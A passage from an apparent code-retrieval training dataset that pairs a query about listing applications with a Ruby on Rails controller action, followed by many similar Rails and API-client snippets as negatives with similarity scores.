"0.6285059",
"0.62718683",
"0.62661725",
"0.6243533",
"0.62408894",
"0.6228972",
"0.6211701",
"0.6202111",
"0.6197888",
"0.61953795",
"0.61806196",
"0.61806196",
"0.61532235",
"0.6148401",
"0.6142514",
"0.61417407",
"0.61403614",
"0.6128245",
"0.6117925",
"0.611772",
"0.61050564",
"0.60968965",
"0.60963714",
"0.60963714",
"0.6089461",
"0.60801387",
"0.6074503",
"0.6071063",
"0.6068448",
"0.6063015",
"0.6060894",
"0.6060213",
"0.6049401",
"0.6047684",
"0.60426176",
"0.6042542",
"0.6040951",
"0.6039073",
"0.60343397",
"0.60257417",
"0.6024659",
"0.60219234",
"0.60181856",
"0.60179967",
"0.60141754",
"0.601176",
"0.6009314",
"0.6007439",
"0.60017425",
"0.6000249",
"0.599961",
"0.5998515",
"0.599663",
"0.59907955",
"0.599047",
"0.59870625",
"0.59855133",
"0.5977441",
"0.5971814",
"0.5970434",
"0.5970303",
"0.5962353",
"0.5961921",
"0.5955031",
"0.59454024",
"0.5941889",
"0.59353244",
"0.5925335",
"0.5923053"
] |
0.7511717
|
0
|
GET /applications GET /applications.json
|
def index
if current_user.is_admin
@applications = Application.all
puts @applications
elsif current_user.is_seeker
@applications = Application.where(jobseeker_id: Jobseeker.find_by(user_id: current_user.id).id)
elsif current_user.is_biz
@applications = Application.where(job_id: Job.where(bizowner_id: Bizowner.find_by(user_id: current_user.id).id))
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def applications_list\n get \"applications\"\n end",
"def get_applications\n http_get_request(Scalarium.applications_url)\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @applications }\n end\n end",
"def index # testing purposes only\n applications = Application.includes(:user).all\n\n render json: applications\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @applications }\n end\n end",
"def show\n @applications_application = ApplicationsApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applications_application }\n end\n end",
"def applications\n Application.from session.get 'operations/application', API_V1\n end",
"def index\n respond_with @applications = Application.all\n end",
"def get_applist\n return get_response(\"applist\", :json)\n end",
"def show\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def show\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def applications(options = {})\n @applications = api.get_applist if !@applications\n @applications\n end",
"def get_applications\n\t\tApplication.where(\"api_user_id = ?\", id)\n\tend",
"def list_applications(client)\n client.applications.each do |application|\n puts \"Application: #{application.name}\"\n puts \" Description: #{application.description}\"\n puts \" Status: #{application.status}\"\n puts \" Href: #{application.href}\"\n end \nend",
"def index\n @apps = @client.apps\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def show\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.haml\n format.json { render json: @application }\n end\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def get_applications_of_user\n respond_to do |format|\n format.json {\n @project_applications = ProjectApplication.where(:user_id => @current_user.id)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def getApplications(ak)\n uri='https://api.newrelic.com/v2/applications.json'\n parseUrl=URI.parse(uri)\n host=parseUrl.host\n path=parseUrl.path\n getRequest(ak,uri,host,path)\nend",
"def applications\n get(PLURAL_PATH, RESOURCE)\n end",
"def show\n #表示は誰でもできる\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def app data={}\n get '/app', data\n end",
"def list_applications(workspace_id)\n # check and reauthenticate\n self.isTokenExpired()\n\n results = []\n url = @api_url + \"/api/workspaces/#{workspace_id}/applications\"\n headers = {:accept => :json, :authorization => \"bearer #{@access_token}\"}\n\n RestClient.proxy = @proxy\n\n begin\n r = RestClient.get url, headers\n rescue RestClient::ExceptionWithResponse => e\n puts e.response\n end\n\n applications = JSON.parse(r.body)['data']\n #application_count = JSON.parse(r.body)['TotalResults']\n\n #puts \"applications dump is #{JSON.pretty_generate(applications)}\\napplication count is #{application_count}\"\n\n applications.each do |application|\n results.push(application)\n end\n return results\n end",
"def show\n @program_app = ProgramApp.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @program_app\n end\n end\n end",
"def show\n respond_with @application = Application.find(params[:id])\n end",
"def index\n if current_user\n @applications = Application.where(user_id: current_user.id)\n else\n redirect_to root_path\n end\n end",
"def get_applications_of_project\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:project_id => Project.find_by_id(param[:id]))\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def get(id)\n response = Network.get(['Applications', id])\n Application.new(response)\n end",
"def show\n @app = @client.app(params[:id])\n @paas_providers = cached_providers\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def get_applications(opts = {})\n data, _status_code, _headers = get_applications_with_http_info(opts)\n data\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def index\n @app = App.new\n @apps = App.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def show\n render json: @application\n end",
"def applications(params = {}) # rubocop:disable Style/OptionHash\n page_limit = params.delete(:page_limit) { 1 }\n\n applications_array = []\n 1.upto page_limit do |i|\n response = request_applications(params.merge(page: i))\n applications_array += response[\"applications\"]\n break if response[\"paginationComplete\"]\n end\n applications_array\n end",
"def list()\n path = \"/query/apps\"\n conn = multipart_connection(port: 8060)\n response = conn.get path\n\n if response.success?\n regexp = /id=\"([^\"]*)\"\\stype=\"([^\"]*)\"\\sversion=\"([^\"]*)\">([^<]*)</\n apps = response.body.scan(regexp)\n printf(\"%30s | %10s | %10s | %10s\\n\", \"title\", \"id\", \"type\", \"version\")\n printf(\"---------------------------------------------------------------------\\n\")\n apps.each do |app|\n printf(\"%30s | %10s | %10s | %10s\\n\", app[3], app[0], app[1], app[2])\n end\n end\n end",
"def index\n @user_apps = UserApp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_apps }\n end\n end",
"def applist(options:)\n path = \"/query/apps\"\n response = nil\n multipart_connection(port: 8060) do |conn|\n response = conn.get path\n end\n\n if response.success?\n regexp = /id=\"([^\"]*)\"\\stype=\"([^\"]*)\"\\sversion=\"([^\"]*)\">([^<]*)</\n apps = response.body.scan(regexp)\n printf(\"%30s | %10s | %10s | %10s\\n\", \"title\", \"id\", \"type\", \"version\")\n printf(\"---------------------------------------------------------------------\\n\")\n apps.each do |app|\n printf(\"%30s | %10s | %10s | %10s\\n\", app[3], app[0], app[1], app[2])\n end\n end\n end",
"def show\n @user_app = UserApp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_app }\n end\n end",
"def app_by_id(id)\n get(\"/apps/#{id}\")\n end",
"def show\n @application = Application.find(params[:id])\n end",
"def index\n @client_applications = ClientApplication.all\n end",
"def show\n @newapp = Newapp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @newapp }\n end\n end",
"def show\n render json: @app\n end",
"def get_application_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ApplicationManagementApi.get_application_list ...'\n end\n # resource path\n local_var_path = '/appManagement/applications'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['APP_MANAGEMENT', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ApplicationListSchema')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ApplicationManagementApi#get_application_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @application = Application.find(params[:id])\n end",
"def get(options = {})\n request_model = @request_model_factory.get_app_request_model(options)\n response = @network_client.perform_request(request_model)\n json = JSON.parse(response.body)\n Fabricio::Model::App.new(json)\n end",
"def find\n raise Zype::Client::NoAppKey if Zype.configuration.app_key.to_s.empty?\n\n client.execute(method: :get, path: '/app')\n end",
"def get_current_application_information\n response = request(\n :oauth2_applications_me, nil,\n :get,\n \"oauth2/applications/@me\"\n )\n Rapture::OauthApplication.from_json(response.body)\n end",
"def list_apps\n check_scope!\n\n apps = App.accessible_by(@context).unremoved.includes(:app_series).order(:title)\n apps = apps.where(scope: params[:scopes]) if params[:scopes].present?\n\n # Filter by latest revisions or versions.\n # This is kinda tricky, but we need to handle the apps which revisions were moved to a space\n # before we migrated to the new way how app is published to a space.\n apps = apps.select(&:latest_accessible_in_scope?)\n\n result = apps.map do |app|\n describe_for_api(app, unsafe_params[:describe])\n end\n\n render json: result\n end",
"def get_applications_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_applications ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_applications, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_applications, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/v1/applications'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse2003' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_applications\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def stub_api_applications_get(request_params: default_applications_filter, response:, tenant_header: user_tenant_header)\n stub_api_common_get('applications', request_params, response, tenant_header)\n end",
"def index\n @app_configs = AppConfig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @app_configs }\n end\n end",
"def show\n @app = App.find_by_id(params[:id])\n if (@app)\n Rabl.render(@app, 'api/apps/show', view_path: 'app/views')\n else\n render status: 401, json: {error: \"Invalid app\"}\n end\n end",
"def index\n @apps = Array.new\n App.find_all_by_accepted(true).each do |a|\n campaign = a.getActiveCampaign\n if !campaign.nil?\n if campaign.isAvailable\n @apps << a\n end\n end\n end\n\n @applist = Array.new\n device = nil\n\n if params.has_key?(:device_uid)\n device = Device.find_by_uuid(params[:device_uid])\n end\n\n @apps.collect do |app|\n app_image = nil\n available_tokens = get_available_tokens(app, device)\n\n if (app.image.url != nil)\n app_image = \"#{app.image.url}\"\n @applist << { :id => app.id, :name => app.name, :description => app.description, :url => app.url, :image => app_image, :rating => available_tokens, :timeRemaining => -1 }\n else\n @applist << { :id => app.id, :name => app.name, :description => app.description, :url => app.url, :rating => available_tokens, :timeRemaining => -1 }\n end\n end\n\n json_apps = @applist.to_json\n render status: 200, json: json_apps\n end",
"def index\n @apparels = Apparel.all\n json_response({success: true, data: @apparels}, :ok)\n end",
"def index\n if current_user.has_role? :admin\n @applications = Application.all\n else\n redirect_to root_path\n end\n end",
"def get_application(opts = {})\n data, _status_code, _headers = get_application_with_http_info(opts)\n data\n end",
"def index\n @applications = @application_scope\n end",
"def filter_apps\n @apps = ThirdpartyService.get_app_version(@url, AUTH, @http)['list']\n filter_result = render_to_string(partial: 'home/app_list', layout: false)\n render json: { filter_result: filter_result }\n end",
"def index\n @applications = @opportunity.applications\n end",
"def index\n @user_applications = UserApplication.all\n end",
"def oauth_application(token)\n request(\n __method__,\n :get,\n \"#{api_base}/oauth2/applications/@me\",\n Authorization: token\n )\n end",
"def show\n respond_to do |format|\n format.json {\n\n @project_application = ProjectApplication.find_by_id(params[:id])\n\n if @project_application\n render :json => @project_application\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def all\n request_model = @request_model_factory.all_apps_request_model\n response = @network_client.perform_request(request_model)\n JSON.parse(response.body).map do |app_hash|\n Fabricio::Model::App.new(app_hash)\n end\n end",
"def index\n @applications = Application.find(:all,:conditions=>['user_id=?',current_user.id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @applications }\n end\n end",
"def applications\n return @applications\n end",
"def applications\n return @applications\n end",
"def show\n @student_application = StudentApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_application }\n end\n end",
"def index\n set_records_count_header(filterBySearch(applications_scope))\n @applications = filterBySearch(applications_scope).offset(params[:offset] || 0).limit(params[:limit] || 6)\n render json: @applications.all\n end",
"def show\n params[:page_size] = params[:page_size] || PAGE_SIZE\n\t\t@mobile_apps = MobileApp.where(id: params[:id]).page(params[:page] || DEFAULT_PAGE).per(params[:page_size] || PAGE_SIZE)\n\t\trespond_to do |format|\n\t\t\tformat.json { render \"show\" }\n\t\tend\t\t\n\tend",
"def show\n @mobileapp = Mobileapp.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mobileapp }\n end\n end",
"def index\n @apps = current_user.apps.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @apps }\n end\n end",
"def show\n @application_status = ApplicationStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application_status }\n end\n end",
"def show\n @app = current_user.apps.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @app }\n end\n end",
"def show\n @application = Application.find(params[:id])\n \n if @application.nil? or @application.job.nil?\n redirect_to \"/\", :alert=>\"You do not have access to this page\"\n return false\n end\n\n return unless appAccess?(@application.job.id)\n\n @job = @application.job\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def app\n jobs = App.find_by(uid: unsafe_params[:id]).\n app_series.jobs.editable_by(@context).\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(order_from_params).page(page_from_params).per(PAGE_SIZE)\n jobs.each { |job| job.current_user = @context.user }\n\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n page_dict = pagination_dict(jobs)\n\n render json: jobs, root: \"jobs\", meta: count(page_dict[:total_count]).\n merge({ pagination: page_dict }), adapter: :json\n end",
"def applications\n instantiate_models Application, session.get('operations/application')\n end",
"def list_apps\n render :text => app_configs.keys\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @app }\n format.json { render :json => @app } \n end\n end",
"def show\n @web_app = WebApp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @web_app }\n end\n end",
"def all_apps\n json = ENV[\"OOD_APPS\"] || File.read(ENV[\"OOD_CONFIG\"] || File.expand_path(\"../config.json\", __FILE__))\n JSON.parse(json).map { |app| App.new(app.to_h) }\nend",
"def applications=(value)\n @applications = value\n end",
"def applications=(value)\n @applications = value\n end",
"def index\n @programs = Program.where(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programs }\n end\n end",
"def show\n @app_config = AppConfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app_config }\n end\n end",
"def applications()\n return MicrosoftGraph::Applications::ApplicationsRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def list_by_param(params = {})\n applications = []\n\n res = list_json(params)\n unless res.nil?\n data = res['data']\n\n data.each do |item|\n applications << Application.new(item)\n end\n\n applications\n end\n end",
"def index\n @project_applications = ProjectApplication.all\n end",
"def index\n if current_user.admin\n @planning_applications = PlanningApplication.all\n else\n @planning_applications = current_user.planning_applications\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @planning_applications }\n end\n end",
"def index\n @app_roles = AppRole.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @app_roles }\n end\n end",
"def get_apps(scope)\n\t\tcase scope\n\t\twhen :added\n\t\t\treturn ClientApplication.select(\"client_applications.*\").\n\t\t\tjoins(:oauth_tokens).\n\t\t\twhere(\"oauth_tokens.invalidated_at is null and oauth_tokens.authorized_at is not null and oauth_tokens.type = 'AccessToken'\").\n\t\t\twhere(\"client_applications.id = oauth_tokens.client_application_id and oauth_tokens.user_id = #{id}\").\n\t\t\tgroup(\"client_applications.id\").\n\t\t\torder(\"oauth_tokens.authorized_at DESC\")\n\t\t\n\t\twhen :created\n\t\t\treturn apps\n\t\tend\n\tend",
"def application!\n res = get!(APPLICATION_PATH)\n build_application(res)\n end"
] |
[
"0.86093307",
"0.79462093",
"0.78742266",
"0.7813113",
"0.7733298",
"0.7699168",
"0.7673586",
"0.75540197",
"0.7525506",
"0.74982053",
"0.74982053",
"0.7469429",
"0.74091655",
"0.72886604",
"0.7258537",
"0.72536296",
"0.72512525",
"0.72512525",
"0.72512525",
"0.72512525",
"0.7177115",
"0.71252453",
"0.7106372",
"0.70934665",
"0.7082288",
"0.70314467",
"0.7021761",
"0.70215744",
"0.70173585",
"0.70139855",
"0.69944984",
"0.69787854",
"0.6973757",
"0.6954125",
"0.6954125",
"0.6954125",
"0.6919948",
"0.69119614",
"0.6891602",
"0.688478",
"0.68040645",
"0.67754006",
"0.6719938",
"0.66749144",
"0.66709846",
"0.6668065",
"0.6616258",
"0.657098",
"0.6569645",
"0.656518",
"0.654928",
"0.65468466",
"0.6545308",
"0.6542648",
"0.6537459",
"0.6536064",
"0.6500707",
"0.64728284",
"0.64696753",
"0.6460504",
"0.6451936",
"0.6436625",
"0.6418212",
"0.64178914",
"0.64130706",
"0.6406539",
"0.6405111",
"0.639945",
"0.6387851",
"0.6385932",
"0.63684237",
"0.63684237",
"0.63634026",
"0.63554245",
"0.63537836",
"0.6351991",
"0.6347285",
"0.63472646",
"0.6347059",
"0.6297655",
"0.62807035",
"0.62570804",
"0.6254936",
"0.62535596",
"0.62535596",
"0.62535596",
"0.6237198",
"0.6234875",
"0.62326026",
"0.6221779",
"0.6221779",
"0.6214728",
"0.6212926",
"0.6212392",
"0.62110245",
"0.62037235",
"0.6194204",
"0.61880845",
"0.618132",
"0.6174802"
] |
0.6666625
|
46
|
POST /applications POST /applications.json
|
def create
@job_start_date = Job.find_by(id: params[:id]).job_start_date.to_date
@job_end_date = Job.find_by(id: params[:id]).job_end_date.to_date
@seeker_start_date = Jobseeker.find_by(user_id: current_user.id).start_date.to_date
@seeker_end_date = Jobseeker.find_by(user_id: current_user.id).end_date.to_date
if @job_start_date < @seeker_start_date
redirect_to root_path, notice: 'Unable to apply. Job starts before your available period'
return
elsif @job_end_date > @seeker_end_date
redirect_to root_path, notice: 'Unable to apply. Job ends after your availabilty period'
return
end
@application = Application.new(job_id: params[:id], jobseeker_id: Jobseeker.find_by(user_id: current_user.id).id, status: "Pending")
if @application.save
ApplicationNotificationMailer.notification_email(params[:id]).deliver
redirect_to @application, notice: 'You application has been sent. Good luck!'
else
redirect_to root_path, notice: 'You have already applied for this job'
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @application = Application.new(application_params)\n\n if @application.save\n render json: @application, status: :created, location: api_application_path(@application)\n else\n render json: @application.errors.full_messages.join(', '), status: :unprocessable_entity\n end\n end",
"def create\n @app = App.new(app_params)\n\n if @app.save\n render json: @app, status: :created, location: @app\n else\n render json: @app.errors, status: :unprocessable_entity\n end\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render action: 'show', status: :created, location: @application }\n else\n format.html { render action: 'new' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create(optional_params = {})\n response = Network.post(['Applications'], optional_params)\n Application.new(response)\n end",
"def create\n @application = Application.new(params[:application])\n\n respond_to do |format|\n if @application.save\n format.html {\n flash[:success] = 'Application ' + @application.name + ' was successfully created.'\n redirect_to [:admin, @application]\n }\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html {\n flash[:error] = 'Failed to update application.'\n render action: \"new\"\n }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n current_user.application = @application\n current_user.save\n format.html { redirect_to @application, notice: 'Application successfully sent in.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.create(params[:application])\n\n unless @application.new_record?\n flash[:notice] = 'Application was successfully created.'\n end\n\n respond_with @application\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to \"/applications/#{@application.id}/step2\", notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(options)\n API::request(:post, 'escrow_service_applications', options)\n end",
"def create\n @application = current_user.build_application(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, alert: 'Your application was successfully created.' }\n format.json { render action: 'show', status: :created, location: @application }\n else\n format.html { render action: 'new' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_app(name, url)\n JSON.parse((@cloudvox_api[\"/applications/create.json\"].post :call_flow => {:name => name}, :agi => {:url => url}).body)\n end",
"def create\n @app = App.new(app_params)\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(app_params)\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Oread::Application.new(application_params)\n @application.owner = current_user\n respond_to do |format|\n if @application.save\n format.html { redirect_to settings_admin_oread_applications_path, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render json: @app, status: :created, location: @app }\n else\n format.html { render action: \"new\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Avoid double provisioning: previous url would be \"/provision/new?apps[]=vtiger&organization_id=1\"\n session.delete('previous_url')\n\n @organization = current_user.organizations.to_a.find { |o| o.id && o.id.to_s == params[:organization_id].to_s }\n authorize! :manage_app_instances, @organization\n\n app_instances = []\n params[:apps].each do |product_name|\n app_instance = @organization.app_instances.create(product: product_name)\n app_instances << app_instance\n MnoEnterprise::EventLogger.info('app_add', current_user.id, 'App added', app_instance)\n end\n\n render json: app_instances.map(&:attributes).to_json, status: :created\n end",
"def create\n manifest = JSON.parse(params[:manifest])\n manifest['provider'] = params[:provider]\n puts \"Repository type: #{params[:repository_type]}\"\n @client.app_create(params[:id], params[:repository_type])\n @client.app_add_manifest(params[:id], manifest)\n\n respond_to do |format|\n format.html { redirect_to app_path(params[:id]), notice: 'App was successfully created.' }\n #if @client.app_create(params[:id], manifest)\n # format.html { redirect_to app_path(params[:id]), notice: 'App was successfully created.' }\n # # FIXME format.json { render json: @app, status: :created, location: app_path(params[:id]) } \n #else\n # format.html { render action: \"new\" }\n # format.json { render json: @app.errors, status: :unprocessable_entity } # FIXME\n #end\n end\n end",
"def create\n @newapp = Newapp.new(params[:newapp])\n\n respond_to do |format|\n if @newapp.save\n format.html { redirect_to @newapp, notice: 'Newapp was successfully created.' }\n format.json { render json: @newapp, status: :created, location: @newapp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @newapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_application = UserApplication.new(user_application_params)\n\n respond_to do |format|\n if @user_application.save\n format.html { redirect_to @user_application, notice: 'User application was successfully created.' }\n format.json { render :show, status: :created, location: @user_application }\n else\n format.html { render :new }\n format.json { render json: @user_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n create_params = application_params\n if applicant_signed_in?\n create_params[:applicant_id] = current_applicant.id\n end\n @application = Application.new(create_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: \"Application was successfully created.\" }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = current_user.apps.new(params[:app])\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, :notice => \"The application app was successfully created\" }\n format.xml { render :xml => @app, :status => :created, :location => @app }\n else\n format.html { render :action => :new }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n key = application_keys.add(params[:key])\n\n respond_with(key, serialize: application)\n end",
"def create\n @application = Doorkeeper::Application.new(application_params)\n @application.uid = SecureRandom.hex(4)\n @application.owner = current_user if Doorkeeper.configuration.confirm_application_owner?\n\n if @application.save\n flash[:notice] = I18n.t(:notice, scope: %i[doorkeeper flash applications create])\n redirect_to oauth_application_url(@application)\n else\n render :new\n end\n end",
"def create\n @client_application = ClientApplication.new(client_application_params)\n\n respond_to do |format|\n if @client_application.save\n format.html { redirect_to @client_application, notice: 'Client application was successfully created.' }\n format.json { render :show, status: :created, location: @client_application }\n else\n format.html { render :new }\n format.json { render json: @client_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_oauth_application(token, name, redirect_uris)\n request(\n __method__,\n :post,\n \"#{api_base}/oauth2/applications\",\n { name: name, redirect_uris: redirect_uris }.to_json,\n Authorization: token,\n content_type: :json\n )\n end",
"def create_oauth_application(token, name, redirect_uris)\n request(\n __method__,\n :post,\n \"#{api_base}/oauth2/applications\",\n { name: name, redirect_uris: redirect_uris }.to_json,\n Authorization: token,\n content_type: :json\n )\n end",
"def applications_list\n get \"applications\"\n end",
"def create\n @application = Application.new()\n @application.name = params[:application][:name].to_s.downcase\n # true - доступ запрещен, false - разрешен\n @application.default = true\n respond_to do |format|\n if @application.save\n format.html { redirect_to applications_path, notice: 'Приложение создано.' }\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html { render action: \"new\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n # @application.job_id = params[:id]\n @application.user_id = current_user.id\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
